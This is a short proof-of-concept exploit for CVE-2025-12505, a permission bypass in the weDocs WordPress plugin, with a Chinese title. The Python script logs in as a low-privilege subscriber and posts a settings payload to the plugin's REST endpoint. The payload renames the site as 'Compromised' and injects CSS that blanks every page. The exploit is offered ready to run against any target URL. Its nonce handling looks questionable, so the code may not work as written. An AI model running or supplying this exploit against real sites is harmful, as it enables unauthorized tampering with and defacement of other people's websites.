CVE-2025-12505 weDocs WordPress插件权限绕过漏洞

import requests import sys # CVE-2025-12505 PoC - weDocs Plugin Unauthorized Settings Modification # Target: WordPress site with weDocs plugin <= 2.1.14 def exploit_wedocs(target_url, username, password): """ Exploit weDocs plugin permission bypass vulnerability Allows authenticated users with subscriber role to modify global settings """ session = requests.Session() # Step 1: Authenticate with subscriber account login_url = f"{target_url}/wp-login.php" auth_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } resp = session.post(login_url, data=auth_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Modify plugin settings via REST API api_url = f"{target_url}/wp-json/we-docs/v1/settings" # Malicious settings payload settings_payload = { 'general': { 'site_name': 'Compromised by CVE-2025-12505', 'custom_css': 'body { display: none; }' } } headers = { 'Content-Type': 'application/json', 'X-WP-Nonce': session.cookies.get('wordpress_rest_api_cookie', '') } # Attempt to modify settings (this should require admin privileges) resp = session.post(api_url, json=settings_payload, headers=headers) if resp.status_code in [200, 201]: print("[+] Settings modified successfully - VULNERABLE!") print(f"[+] Response: {resp.text}") return True else: print(f"[-] Request failed with status: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) exploit_wedocs(sys.argv[1], sys.argv[2], sys.argv[3])